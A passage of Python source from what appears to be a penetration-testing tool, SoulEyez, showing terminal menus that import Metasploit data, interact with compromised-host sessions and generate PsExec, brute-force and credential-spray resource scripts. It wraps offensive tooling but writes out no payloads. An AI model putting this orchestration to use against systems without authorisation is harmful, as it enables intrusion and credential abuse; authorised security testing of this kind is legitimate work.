            click.echo(click.style(f"  ✗ Connection failed: {error}", fg='red'))
            click.echo()
            click.echo(click.style("  Troubleshooting:", fg='yellow'))
            click.echo("    • Ensure MSF database is running: msf> db_status")
            click.echo("    • Check credentials are correct")
            click.echo("    • Verify PostgreSQL is accepting connections")
            click.echo()

            if attempt < max_attempts - 1:
                if not click.confirm("  Try again?", default=True):
                    break

    click.echo()
    click.echo(click.style("  Setup failed. Please check your MSF database configuration.", fg='red'))
    click.echo()
    click.pause()
    return False


def _import_msf_database(engagement_id: int):
    """Import data from Metasploit Framework database into SoulEyez."""
    from souleyez.core.msf_sync_manager import MSFSyncManager
    from souleyez.storage.database import get_db

    DesignSystem.clear_screen()
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" IMPORT MSF DATA ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘\n")

    click.echo(click.style("  Import data from Metasploit Framework database", fg='white'))
    click.echo()

    # Show warning about database integration
    click.echo(click.style("  ⚠️  NOTICE:", bold=True, fg='yellow'))
    click.echo(click.style("  This feature accesses MSF's database directly. Tested with MSF 6.2-6.4.", fg='yellow'))
    click.echo(click.style("  Schema changes in newer MSF versions may cause errors.", fg='yellow'))
    click.echo(click.style("  Alternative: Use 'db_export -f xml' in msfconsole for stability.", fg='yellow'))
    click.echo()

    if not click.confirm("  Continue with database import?", default=True):
        return

    click.echo()

    # Check if MSF dependencies are installed
    all_installed, missing = _check_msf_dependencies()

    if not all_installed:
        click.echo(click.style("  ⚠️  Setup Required:", bold=True, fg='yellow'))
        click.echo()
        click.echo(click.style("  MSF integration dependencies are not installed.", fg='yellow'))
        click.echo()

        # Show what's missing
        for pkg in missing:
            click.echo(f"    • {pkg}")
        click.echo()

        click.echo("  Options:")
        click.echo("    [1] Run guided setup (install dependencies)")
        click.echo("    [2] View diagnostic information")
        click.echo("    [3] Skip check and try anyway")
        click.echo("    [q] Cancel")
        click.echo()

        choice_input = click.prompt("  Select option", type=str, default='1', show_default=False).strip().lower()

        if choice_input == 'q':
            return

        choice = int(choice_input) if choice_input.isdigit() else 0

        if choice == 1:
            # Run guided setup
            DesignSystem.clear_screen()
            if not _guided_msf_setup():
                return
            # Return to main screen after setup
            DesignSystem.clear_screen()
            click.echo("\n┌" + "─" * (width - 2) + "┐")
            click.echo("│" + click.style(" IMPORT MSF DATA ".center(width - 2), bold=True, fg='cyan') + "│")
            click.echo("└" + "─" * (width - 2) + "┘\n")
            click.echo()
        elif choice == 2:
            # Show diagnostic info
            click.echo()
            _check_msf_dependencies(verbose=True)
            click.echo(click.style("  Please install manually using the Python shown above:", fg='yellow'))
            click.echo()
            import sys
            click.echo(click.style(f"    {sys.executable} -m pip install psycopg2-binary msgpack requests", fg='cyan'))
            click.echo()
            click.pause()
            return
        elif choice == 3:
            # Skip check
            click.echo()
            click.echo(click.style("  ⚠️  Skipping dependency check. Import may fail...", fg='yellow'))
            click.echo()
        else:
            # Cancel
            return

    # Get MSF database configuration
    click.echo(click.style("  MSF Database Configuration:", bold=True))
    click.echo()

    # Allow up to 3 connection attempts
    max_attempts = 3
    msf_db_config = None

    for attempt in range(max_attempts):
        if attempt > 0:
            click.echo()
            click.echo(click.style(f"  Connection attempt {attempt + 1}/{max_attempts}", fg='yellow'))
            click.echo()

        msf_host = click.prompt("  MSF Database Host", default="localhost", type=str)
        msf_port = click.prompt("  MSF Database Port", default=5432, type=int)
        msf_database = click.prompt("  MSF Database Name", default="msf", type=str)
        msf_username = click.prompt("  MSF Database Username", default="msf", type=str)
        msf_password = click.prompt("  MSF Database Password", default="", type=str, hide_input=True)
        msf_workspace = click.prompt("  MSF Workspace", default="default", type=str)

        # Test connection before proceeding
        click.echo()
        click.echo(click.style("  Testing database connection...", fg='cyan'))

        success, error = _test_postgresql_connection(msf_host, msf_port, msf_database, msf_username, msf_password)

        if success:
            click.echo(click.style("  ✓ Connection successful!", fg='green'))
            msf_db_config = {
                'host': msf_host,
                'port': msf_port,
                'database': msf_database,
                'username': msf_username,
                'password': msf_password,
                'workspace': msf_workspace
            }
            break
        else:
            click.echo(click.style(f"  ✗ Connection failed: {error}", fg='red'))
            click.echo()
            click.echo(click.style("  Troubleshooting:", fg='yellow'))
            click.echo("    • Ensure MSF database is running: msf> db_status")
            click.echo("    • Check credentials are correct")
            click.echo("    • Verify PostgreSQL is accepting connections")

            if attempt < max_attempts - 1:
                click.echo()
                if not click.confirm("  Try again?", default=True):
                    click.echo()
                    click.pause()
                    return
            else:
                click.echo()
                click.echo(click.style("  Maximum connection attempts reached.", fg='red'))
                click.echo()
                click.pause()
                return

    click.echo()

    # Enable verbose logging for debugging MSF operations
    import logging

    # Setup logging for both sync manager and database modules
    msf_sync_logger = logging.getLogger('souleyez.core.msf_sync_manager')
    msf_db_logger = logging.getLogger('souleyez.core.msf_database')

    old_sync_level = msf_sync_logger.level
    old_db_level = msf_db_logger.level

    console_handler = logging.StreamHandler()
    console_handler.setLevel(logging.INFO)
    formatter = logging.Formatter('  %(levelname)s: %(message)s')
    console_handler.setFormatter(formatter)

    # Add console handler to both loggers to show all output
    msf_sync_logger.addHandler(console_handler)
    msf_sync_logger.setLevel(logging.INFO)
    msf_db_logger.addHandler(console_handler)
    msf_db_logger.setLevel(logging.INFO)

    # Show what's available in the MSF workspace
    click.echo(click.style("  Checking MSF workspace contents...", fg='cyan'))
    click.echo()
    db_path = get_db().db_path
    sync_manager = MSFSyncManager(db_path, engagement_id, msf_db_config=msf_db_config)

    try:
        msf_stats = sync_manager.get_msf_stats()
        click.echo()
        click.echo(click.style("  MSF Workspace Data Available:", bold=True))
        click.echo(f"     Hosts:            {msf_stats.get('hosts', 0)}")
        click.echo(f"     Services:         {msf_stats.get('services', 0)}")
        click.echo(f"     Vulnerabilities:  {msf_stats.get('vulns', 0)}")
        click.echo(f"     Credentials:      {msf_stats.get('creds', 0)}")
        click.echo(f"     Active Sessions:  {msf_stats.get('active_sessions', 0)}")
        click.echo(f"     Total Sessions:   {msf_stats.get('total_sessions', 0)}")
        click.echo()
    except Exception as e:
        click.echo()
        click.echo(click.style(f"  ⚠ Warning: Could not get workspace stats: {e}", fg='yellow'))
        click.echo()

    click.echo(click.style("  Select data to import:", bold=True))
    click.echo()

    import_hosts = click.confirm("  Import Hosts?", default=True)
    import_services = click.confirm("  Import Services?", default=True)
    import_vulns = click.confirm("  Import Vulnerabilities?", default=True)
    import_creds = click.confirm("  Import Credentials?", default=True)
    import_sessions = click.confirm("  Import Sessions?", default=True)

    click.echo()

    if not any([import_hosts, import_services, import_vulns, import_creds, import_sessions]):
        click.echo(click.style("  ✗ Nothing selected to import!", fg='yellow'))
        click.pause()
        return

    try:
        click.echo(click.style("  Importing data from MSF...", fg='cyan'))
        click.echo()

        stats = sync_manager.import_msf_data(
            import_hosts=import_hosts,
            import_services=import_services,
            import_vulns=import_vulns,
            import_creds=import_creds,
            import_sessions=import_sessions
        )

        click.echo()
        click.echo(click.style("  ✓ Import Complete!", fg='green', bold=True))
        click.echo()
        click.echo(f"     Hosts:            {stats.get('hosts', 0)}")
        click.echo(f"     Services:         {stats.get('services', 0)}")
        click.echo(f"     Vulnerabilities:  {stats.get('vulns', 0)}")
        click.echo(f"     Credentials:      {stats.get('creds', 0)}")
        click.echo(f"     Sessions:         {stats.get('sessions', 0)}")

        if stats.get('errors', 0) > 0:
            click.echo()
            click.echo(click.style(f"     ⚠ Errors: {stats['errors']}", fg='yellow'))
            click.echo()
            click.echo(click.style("     If errors are due to schema changes:", fg='yellow'))
            click.echo(click.style("     Try: msf> db_export -f xml /tmp/msf_export.xml", fg='yellow'))

    except Exception as e:
        click.echo()
        click.echo(click.style(f"  ✗ Import failed: {e}", fg='red'))
        click.echo()
        click.echo(click.style("  Troubleshooting:", fg='yellow'))
        click.echo(click.style("  • Check MSF database is running: msf> db_status", fg='yellow'))
        click.echo(click.style("  • Verify credentials are correct", fg='yellow'))
        click.echo(click.style("  • Try XML export as alternative (see docs)", fg='yellow'))
    finally:
        # Restore logging configuration
        msf_sync_logger.removeHandler(console_handler)
        msf_sync_logger.setLevel(old_sync_level)
        msf_db_logger.removeHandler(console_handler)
        msf_db_logger.setLevel(old_db_level)

    click.echo()
    click.pause()


def _sync_msf_exploit_results(engagement_id: int):
    """Sync exploit results from MSF to update SoulEyez exploit status."""
    from souleyez.core.msf_sync_manager import MSFSyncManager
    from souleyez.storage.database import get_db

    DesignSystem.clear_screen()
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" SYNC EXPLOIT RESULTS ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘\n")

    click.echo(click.style("  Sync exploit results from MSF to SoulEyez", fg='white'))
    click.echo()
    click.echo("  This will update exploit attempt status based on:")
    click.echo("  • Sessions created in MSF")
    click.echo("  • Vulnerabilities marked as exploited")
    click.echo()

    # Get MSF database configuration
    click.echo(click.style("  MSF Database Configuration:", bold=True))
    click.echo()

    msf_host = click.prompt("  MSF Database Host", default="localhost", type=str)
    msf_port = click.prompt("  MSF Database Port", default=5432, type=int)
    msf_database = click.prompt("  MSF Database Name", default="msf", type=str)
    msf_username = click.prompt("  MSF Database Username", default="msf", type=str)
    msf_password = click.prompt("  MSF Database Password", default="", type=str, hide_input=True)
    msf_workspace = click.prompt("  MSF Workspace", default="default", type=str)

    # Create sync manager
    db_path = get_db().db_path
    msf_db_config = {
        'host': msf_host,
        'port': msf_port,
        'database': msf_database,
        'username': msf_username,
        'password': msf_password,
        'workspace': msf_workspace
    }

    sync_manager = MSFSyncManager(db_path, engagement_id, msf_db_config=msf_db_config)

    try:
        click.echo()
        click.echo(click.style("  Syncing exploit results...", fg='cyan'))

        stats = sync_manager.sync_exploit_results()

        click.echo()
        click.echo(click.style("  ✓ Sync Complete!", fg='green', bold=True))
        click.echo()
        click.echo(f"     Successful exploits: {stats.get('success', 0)}")
        click.echo(f"     Failed exploits:     {stats.get('failed', 0)}")

        if stats.get('errors', 0) > 0:
            click.echo()
            click.echo(click.style(f"     ⚠ Errors: {stats['errors']}", fg='yellow'))

    except Exception as e:
        click.echo()
        click.echo(click.style(f"  ✗ Sync failed: {e}", fg='red'))

    click.echo()
    click.pause()


def _view_active_msf_sessions(engagement_id: int):
    """View active MSF sessions."""
    from souleyez.core.msf_sync_manager import MSFSyncManager
    from souleyez.storage.database import get_db
    from souleyez.storage.msf_sessions import get_msf_sessions, get_session_stats

    DesignSystem.clear_screen()
    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" ACTIVE MSF SESSIONS ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘\n")

    # First, show sessions from SoulEyez database
    db = get_db()
    db_path = db.db_path
    conn = db.get_connection()

    try:
        sessions = get_msf_sessions(conn, engagement_id, active_only=True)
        stats = get_session_stats(conn, engagement_id)
    finally:
        conn.close()

    click.echo(click.style("  Sessions in SoulEyez Database:", bold=True))
    click.echo()

    if sessions:
        click.echo(f"  Active Sessions: {stats.get('active', 0)}")
        click.echo(f"  Total Sessions:  {stats.get('total', 0)}")
        click.echo(f"  Compromised Hosts: {stats.get('compromised_hosts', 0)}")
        click.echo()

        for session in sessions:
            click.echo(f"  Session {session['msf_session_id']}:")
            click.echo(f"    Host:    {session['host_ip']}")
            click.echo(f"    Type:    {session.get('session_type', 'unknown')}")
            click.echo(f"    Exploit: {session.get('via_exploit', 'unknown')}")
            click.echo(f"    Opened:  {session.get('opened_at', 'unknown')}")
            click.echo()
    else:
        click.echo(click.style("  No sessions found in SoulEyez database", fg='yellow'))
        click.echo()

    # Offer to interact with a session
    click.echo()
    if sessions and click.confirm("  Interact with a session?", default=False):
        click.echo()

        # Get session ID
        session_ids = [s['msf_session_id'] for s in sessions]
        click.echo(f"  Available sessions: {', '.join(map(str, session_ids))}")
        session_id = click.prompt("  Enter session ID", type=int)

        if session_id not in session_ids:
            click.echo(click.style(f"  ✗ Invalid session ID", fg='red'))
        else:
            click.echo()
            click.echo("  How would you like to interact?")
            click.echo("    1. Launch msfconsole and connect to session")
            click.echo("    2. Run a single command via RPC")
            click.echo()

            choice = click.prompt("  Select option", type=int, default=1, show_default=False)

            if choice == 1:
                # Launch msfconsole and connect to session
                import subprocess
                click.echo()

                # Prompt for MSF workspace (use workspace from config if available)
                default_workspace = "default"
                try:
                    if msf_db_config and 'workspace' in msf_db_config:
                        default_workspace = msf_db_config['workspace']
                except NameError:
                    pass  # msf_db_config not defined in this scope

                msf_workspace = click.prompt("  MSF Workspace", default=default_workspace, type=str)

                click.echo()
                click.echo(click.style(f"  Launching msfconsole and connecting to session {session_id}...", fg='cyan'))
                click.echo(click.style("  (Use 'exit' or Ctrl+D to close the session and return)", fg='yellow'))
                click.echo()

                # Launch msfconsole with commands to switch workspace and interact with session
                # Use os.system for proper TTY handling (subprocess.run causes stty errors)
                if shutil.which('msfconsole'):
                    msf_commands = f"workspace {msf_workspace}; sessions -i {session_id}"
                    msf_cmd = ['msfconsole', '-q']
                    if _needs_msf_no_readline():
                        msf_cmd.append('--no-readline')
                    msf_cmd.extend(['-x', msf_commands])
                    os.system(shlex.join(msf_cmd))  # nosec B605 - intentional shell for TTY, args escaped with shlex
                    # Reset terminal after msfconsole (safety measure)
                    os.system('stty sane 2>/dev/null')  # nosec B605 - static command
                else:
                    click.echo(click.style("  ✗ msfconsole not found in PATH", fg='red'))
                    click.echo("  Make sure Metasploit is installed and in your PATH")

            elif choice == 2:
                # Run command via RPC
                click.echo()

                # Get MSF RPC config if not already set
                if 'msf_rpc_config' not in locals():
                    msf_host = click.prompt("  MSF RPC Host", default="127.0.0.1", type=str)
                    msf_port = click.prompt("  MSF RPC Port", default=55553, type=int)
                    msf_username = click.prompt("  MSF RPC Username", default="msf", type=str)
                    msf_password = click.prompt("  MSF RPC Password", default="", type=str, hide_input=True)

                    msf_rpc_config = {
                        'host': msf_host,
                        'port': msf_port,
                        'username': msf_username,
                        'password': msf_password
                    }

                command = click.prompt("  Enter command to run", type=str)

                try:
                    from souleyez.core.msf_rpc_client import MSFRPCClient

                    with MSFRPCClient(**msf_rpc_config) as rpc:
                        click.echo()
                        click.echo(click.style(f"  Running command in session {session_id}...", fg='cyan'))
                        output = rpc.run_session_command(session_id, command)
                        click.echo()
                        click.echo(click.style("  Output:", bold=True))
                        click.echo(output)
                except Exception as e:
                    click.echo(click.style(f"  ✗ Failed to run command: {e}", fg='red'))

    # Offer to sync from live MSF
    click.echo()
    if click.confirm("  Query live MSF sessions?", default=False):
        click.echo()

        # Get MSF configuration
        msf_host = click.prompt("  MSF RPC Host", default="127.0.0.1", type=str)
        msf_port = click.prompt("  MSF RPC Port", default=55553, type=int)
        msf_username = click.prompt("  MSF RPC Username", default="msf", type=str)
        msf_password = click.prompt("  MSF RPC Password", default="", type=str, hide_input=True)

        # Alternative: database query
        use_db = click.confirm("  Use database instead of RPC?", default=True)

        if use_db:
            msf_db_host = click.prompt("  MSF DB Host", default="localhost", type=str)
            msf_db_port = click.prompt("  MSF DB Port", default=5432, type=int)
            msf_database = click.prompt("  MSF Database", default="msf", type=str)
            msf_db_username = click.prompt("  MSF DB Username", default="msf", type=str)
            msf_db_password = click.prompt("  MSF DB Password", default="", type=str, hide_input=True)
            msf_workspace = click.prompt("  MSF Workspace", default="default", type=str)

            msf_db_config = {
                'host': msf_db_host,
                'port': msf_db_port,
                'database': msf_database,
                'username': msf_db_username,
                'password': msf_db_password,
                'workspace': msf_workspace
            }
        else:
            msf_db_config = None

        msf_rpc_config = {
            'host': msf_host,
            'port': msf_port,
            'username': msf_username,
            'password': msf_password
        }

        sync_manager = MSFSyncManager(
            db_path,
            engagement_id,
            msf_db_config=msf_db_config,
            msf_rpc_config=msf_rpc_config
        )

        try:
            # Enable logging to see debug output
            msf_sync_logger_live = logging.getLogger('souleyez.core.msf_sync_manager')
            msf_db_logger_live = logging.getLogger('souleyez.core.msf_database')

            console_handler_live = logging.StreamHandler()
            console_handler_live.setLevel(logging.INFO)
            formatter_live = logging.Formatter('  %(levelname)s: %(message)s')
            console_handler_live.setFormatter(formatter_live)

            msf_sync_logger_live.addHandler(console_handler_live)
            msf_sync_logger_live.setLevel(logging.INFO)
            msf_db_logger_live.addHandler(console_handler_live)
            msf_db_logger_live.setLevel(logging.INFO)

            try:
                active_sessions = sync_manager.get_active_sessions()
            finally:
                # Restore logging
                msf_sync_logger_live.removeHandler(console_handler_live)
                msf_db_logger_live.removeHandler(console_handler_live)

            click.echo()
            click.echo(click.style("  Live MSF Sessions:", bold=True))
            click.echo()

            if active_sessions:
                for session in active_sessions:
                    source = session.get('source', 'unknown')
                    click.echo(f"  Session {session['id']} ({source}):")
                    click.echo(f"    Type:     {session.get('type', 'unknown')}")
                    click.echo(f"    Host:     {session.get('host', session.get('tunnel', 'unknown'))}")
                    click.echo(f"    Exploit:  {session.get('via_exploit', 'unknown')}")
                    click.echo(f"    Payload:  {session.get('via_payload', 'unknown')}")
                    click.echo(f"    Platform: {session.get('platform', 'unknown')}")
                    click.echo()
            else:
                click.echo(click.style("  No active sessions found in MSF", fg='yellow'))

        except Exception as e:
            click.echo()
            click.echo(click.style(f"  ✗ Failed to query MSF: {e}", fg='red'))

    # Offer to interact with a session
    click.echo()
    if sessions and click.confirm("  Interact with a session?", default=False):
        click.echo()

        # Get session ID
        session_ids = [s['msf_session_id'] for s in sessions]
        click.echo(f"  Available sessions: {', '.join(map(str, session_ids))}")
        session_id = click.prompt("  Enter session ID", type=int)

        if session_id not in session_ids:
            click.echo(click.style(f"  ✗ Invalid session ID", fg='red'))
        else:
            click.echo()
            click.echo("  How would you like to interact?")
            click.echo("    1. Launch msfconsole and connect to session")
            click.echo("    2. Run a single command via RPC")
            click.echo()

            choice = click.prompt("  Select option", type=int, default=1, show_default=False)

            if choice == 1:
                # Launch msfconsole and connect to session
                import subprocess
                click.echo()
                click.echo(click.style(f"  Launching msfconsole and connecting to session {session_id}...", fg='cyan'))
                click.echo(click.style("  (Use 'exit' or Ctrl+D to close the session and return)", fg='yellow'))
                click.echo()

                # Launch msfconsole with command to interact with session
                # Use os.system for proper TTY handling (subprocess.run causes stty errors)
                if shutil.which('msfconsole'):
                    msf_cmd = ['msfconsole', '-q']
                    if _needs_msf_no_readline():
                        msf_cmd.append('--no-readline')
                    msf_cmd.extend(['-x', f'sessions -i {session_id}'])
                    os.system(shlex.join(msf_cmd))  # nosec B605 - intentional shell for TTY, args escaped with shlex
                    # Reset terminal after msfconsole (safety measure)
                    os.system('stty sane 2>/dev/null')  # nosec B605 - static command
                else:
                    click.echo(click.style("  ✗ msfconsole not found in PATH", fg='red'))
                    click.echo("  Make sure Metasploit is installed and in your PATH")

            elif choice == 2:
                # Run command via RPC
                click.echo()

                # Get MSF RPC config if not already set
                if 'msf_rpc_config' not in locals():
                    msf_host = click.prompt("  MSF RPC Host", default="127.0.0.1", type=str)
                    msf_port = click.prompt("  MSF RPC Port", default=55553, type=int)
                    msf_username = click.prompt("  MSF RPC Username", default="msf", type=str)
                    msf_password = click.prompt("  MSF RPC Password", default="", type=str, hide_input=True)

                    msf_rpc_config = {
                        'host': msf_host,
                        'port': msf_port,
                        'username': msf_username,
                        'password': msf_password
                    }

                command = click.prompt("  Enter command to run", type=str)

                try:
                    from souleyez.core.msf_rpc_client import MSFRPCClient

                    with MSFRPCClient(**msf_rpc_config) as rpc:
                        click.echo()
                        click.echo(click.style(f"  Running command in session {session_id}...", fg='cyan'))
                        output = rpc.run_session_command(session_id, command)
                        click.echo()
                        click.echo(click.style("  Output:", bold=True))
                        click.echo(output)
                except Exception as e:
                    click.echo(click.style(f"  ✗ Failed to run command: {e}", fg='red'))

    click.echo()
    click.pause()


def manage_reports_menu():
    """Interactive reports and data export menu."""
    from pathlib import Path
    from rich.console import Console
    from rich.table import Table
    import subprocess
    import datetime

    console = Console()

    # Get current engagement
    from souleyez.storage.engagements import EngagementManager
    em = EngagementManager()
    current = em.get_current()
    engagement_name = current['name'] if current else "No engagement selected"

    while True:
        DesignSystem.clear_screen()
        render_standard_header("REPORTS & EXPORT")

        # List existing reports in ./reports directory
        project_root = os.getcwd()
        if 'souleyez' in project_root and os.path.exists(os.path.join(project_root, 'setup.py')):
            reports_dir = Path(project_root) / "reports"
        else:
            reports_dir = Path(os.getcwd()) / "reports"

        reports = []
        if reports_dir.exists():
            reports = sorted(reports_dir.glob("*.*"), key=lambda p: p.stat().st_mtime, reverse=True)

        # Show report count
        click.echo()
        click.echo(f"  Total: {len(reports)} report(s)")
        click.echo()

        # Build reports table
        if reports:
            table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
            table.add_column("#", width=5, justify="right")
            table.add_column("Name", no_wrap=False)
            table.add_column("Type", width=10)
            table.add_column("Size", width=10, justify="right")
            table.add_column("Generated", width=20)

            for idx, rpt in enumerate(reports[:10], 1):
                size = rpt.stat().st_size
                mtime = os.path.getmtime(rpt)
                mtime_str = datetime.datetime.fromtimestamp(mtime).strftime('%Y-%m-%d %H:%M')

                # Determine type
                if rpt.suffix == '.html':
                    file_type = "[green]HTML[/green]"
                elif rpt.suffix == '.pdf':
                    file_type = "[red]PDF[/red]"
                elif rpt.suffix == '.md':
                    file_type = "[cyan]Markdown[/cyan]"
                else:
                    file_type = rpt.suffix

                # Format size
                if size > 1024 * 1024:
                    size_str = f"{size / (1024 * 1024):.1f} MB"
                elif size > 1024:
                    size_str = f"{size / 1024:.1f} KB"
                else:
                    size_str = f"{size} B"

                table.add_row(str(idx), rpt.name, file_type, size_str, mtime_str)

            console.print(table)

            if len(reports) > 10:
                click.echo(f"\n  ... and {len(reports) - 10} more (use [l] to list all)")
        else:
            click.echo(click.style("  No reports generated yet.", fg='yellow'))
            click.echo(click.style("  Generate your first report with [g]", dim=True))

        click.echo()
        click.echo("  " + click.style("TIP: ", fg='yellow', bold=True) + "Enter report # to view, or use shortcuts below")
        click.echo()
        click.echo("─" * get_terminal_width())
        click.echo()

        # Actions with letter shortcuts
        click.echo("  [#] View report by number")
        click.echo("  [g] Generate - Create new pentest report (MD/HTML/PDF)")
        click.echo("  [x] Export - Export to MSF XML format")
        click.echo("  [l] List - Show all reports")
        click.echo("  [-] Delete - Remove report(s)")
        click.echo("  [q] Back")
        click.echo()

        # Current engagement context
        click.echo(f"  Current Engagement: {click.style(engagement_name, fg='green', bold=True)}")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default='q', show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'g':
                # Generate Report
                generate_report_menu()
            elif choice == 'x':
                # Export to MSF XML
                _export_to_metasploit_menu()
            elif choice == 'l':
                # List all reports
                _list_all_reports()
            elif choice == '-':
                # Delete report
                if not reports:
                    click.echo(click.style("\n  No reports available to delete.", fg='yellow'))
                    click.pause()
                else:
                    _delete_report(reports)
            elif choice.isdigit():
                # View report by number
                idx = int(choice)
                if 1 <= idx <= len(reports):
                    _view_report([reports[idx - 1]])
                else:
                    click.echo(click.style(f"\n  Invalid report number. Choose 1-{len(reports)}", fg='red'))
                    click.pause()
            else:
                click.echo(click.style("\n  Invalid selection!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def msf_integration_menu():
    """Metasploit Framework integration menu - consolidated full tool view."""
    from souleyez.core.msf_integration import MSFResourceGenerator, MSFModuleSelector, MSFConsoleManager
    from souleyez.storage.smb_shares import SMBSharesManager
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.findings import FindingsManager

    em = EngagementManager()

    # Get current engagement
    current_ws = em.get_current()
    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']
    engagement_name = current_ws.get('name', 'Unknown')

    # Initialize managers
    msf_gen = MSFResourceGenerator()
    msf_selector = MSFModuleSelector()
    msf_console = MSFConsoleManager()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        # Gather real engagement stats
        hm = HostManager()
        hosts = hm.list_hosts(engagement_id)
        hosts_count = len(hosts)
        services_count = sum(len(hm.get_host_services(h['id']) or []) for h in hosts)

        # Count generated resource scripts
        import glob
        scripts_count = len(glob.glob(os.path.join(msf_gen.output_dir, '*.rc')))

        # Check for active sessions from MSF (tries RPC first, then database)
        sessions_count = "-"
        try:
            from souleyez.core.msf_sync_manager import get_msf_active_sessions_count
            count = get_msf_active_sessions_count()
            if count is not None:
                sessions_count = count
        except Exception:
            pass  # MSF not available, show "-"

        # Build status bar
        msf_icon = click.style("✓", fg='green') if msf_console.is_available() else click.style("✗", fg='red')

        click.echo(f"📊 Engagement: {click.style(engagement_name, bold=True)}  |  "
                   f"Hosts: {click.style(str(hosts_count), fg='cyan')}  |  "
                   f"Services: {click.style(str(services_count), fg='cyan')}  |  "
                   f"msfconsole: {msf_icon}  |  "
                   f"Scripts: {scripts_count}  |  "
                   f"Sessions: {sessions_count}")
        click.echo()

        # Title
        click.echo(click.style("🔧 METASPLOIT FRAMEWORK INTEGRATION", bold=True, fg='cyan'))
        click.echo("═" * 80)
        click.echo("   Advanced exploitation, resource scripts, and attack chain automation")
        click.echo()

        # DATA & SYNC section
        click.echo(click.style("📥 DATA & SYNC", bold=True, fg='magenta'))
        click.echo("─" * 60)
        click.echo("   Import/export data between SoulEyez and Metasploit")
        click.echo()
        click.echo("  [ 1] Import MSF Data           - Hosts, services, vulns, creds, sessions")
        click.echo("  [ 2] Export to Metasploit XML  - Export targets for MSF workspace")
        click.echo("  [ 3] Sync Exploit Results      - Pull successful exploits from MSF")
        click.echo("  [ 4] View Active Sessions      - Monitor live MSF sessions")
        click.echo()

        # RESOURCE SCRIPT GENERATION section
        click.echo(click.style("📜 RESOURCE SCRIPT GENERATION", bold=True, fg='cyan'))
        click.echo("─" * 60)
        click.echo("   Generate .rc scripts for automated MSF execution")
        click.echo()
        click.echo("  [ 5] PsExec Script             - SMB execution on writable shares")
        click.echo("  [ 6] SSH Brute Force Script    - Brute force SSH services")
        click.echo("  [ 7] Credential Spray Script   - Spray creds across services")
        click.echo("  [ 8] Exploit Script            - From high/critical findings")
        click.echo("  [ 9] Web Exploitation Script   - Web service exploits")
        click.echo("  [10] Post-Exploitation Script  - Privilege escalation & pivoting")
        click.echo("  [11] Enumeration Script        - Service enumeration modules")
        click.echo("  [12] Database Attack Script    - MSSQL, MySQL, PostgreSQL attacks")
        click.echo()

        # MODULE RECOMMENDATIONS section
        click.echo(click.style("🎯 MODULE RECOMMENDATIONS", bold=True, fg='green'))
        click.echo("─" * 60)
        click.echo("   Find the right MSF modules for your targets")
        click.echo()
        click.echo("  [13] Get Modules for Service   - Recommend modules by service type")
        click.echo("  [14] Find Exploits for Vuln    - Match CVEs to exploit modules")
        click.echo()

        # AUTO-MAPPING section
        click.echo(click.style("🗺️  AUTO-MAPPING", bold=True, fg='yellow'))
        click.echo("─" * 60)
        click.echo("   Automatically map discovered data to MSF modules")
        click.echo()
        click.echo("  [15] Map Services to Modules   - Auto-map all services")
        click.echo("  [16] Map Findings to Exploits  - Auto-map vulnerabilities")
        click.echo("  [17] Attack Surface Report     - Generate targeting intelligence")
        click.echo()

        # ATTACK CHAINS section
        click.echo(click.style("⛓️  ATTACK CHAINS", bold=True, fg='red'))
        click.echo("─" * 60)
        click.echo("   Build multi-stage attack sequences")
        click.echo()
        click.echo("  [18] Build Progressive Chain   - Step-by-step attack chain")
        click.echo("  [19] Load Chain Template       - Pre-built attack patterns")
        click.echo("  [20] Build Multi-Host Chain    - Lateral movement chains")
        click.echo()

        # LAUNCH section
        click.echo(click.style("🚀 LAUNCH", bold=True, fg='bright_blue'))
        click.echo("─" * 60)
        click.echo("   Execute MSF console with context")
        click.echo()
        click.echo("  [21] Launch with Resource      - Run generated .rc script")
        click.echo("  [22] Interactive Console       - MSF console with engagement context")
        click.echo()

        click.echo("─" * 80)
        click.echo("  [?] Help    [q] ← Back")
        click.echo()

        try:
            choice_input = click.prompt("Select option", type=str, default="q", show_default=False).strip()

            # Handle help command
            if choice_input == '?':
                _show_msf_help()
                continue

            # Handle back
            if choice_input == 'q':
                return

            # Convert to int for numeric choices
            try:
                choice = int(choice_input)
            except ValueError:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()
                continue

            # DATA & SYNC handlers (1-4)
            if choice == 1:
                # Import MSF Data
                _import_msf_database(engagement_id)

            elif choice == 2:
                # Export to Metasploit XML
                _export_to_metasploit_menu()

            elif choice == 3:
                # Sync Exploit Results
                _sync_msf_exploit_results(engagement_id)

            elif choice == 4:
                # View Active Sessions
                _view_active_msf_sessions(engagement_id)

            # RESOURCE SCRIPT GENERATION handlers (5-12)
            elif choice == 5:
                # Generate PsExec script for writable SMB shares
                smm = SMBSharesManager()
                cm = CredentialsManager()

                writable = smm.get_writable_shares(engagement_id)
                creds = cm.list_credentials(engagement_id)
                valid_creds = [c for c in creds if c.get('status') == 'valid']

                if not writable:
                    click.echo(click.style("\n✗ No writable SMB shares found!", fg='yellow'))
                    click.pause()
                    continue

                script = msf_gen.generate_smb_psexec_script(writable, valid_creds)
                filename = f"psexec_writable_shares_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)

                click.echo(click.style(f"\n✓ Generated PsExec script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Targets: {len(writable)} writable share(s)")
                if valid_creds:
                    click.echo(f"  Credentials: {len(valid_creds)} valid credential(s)")
                else:
                    click.echo(click.style("  ⚠ No credentials - you'll need to set them manually", fg='yellow'))
                click.echo(f"\n  Launch: msfconsole -r {filepath}")
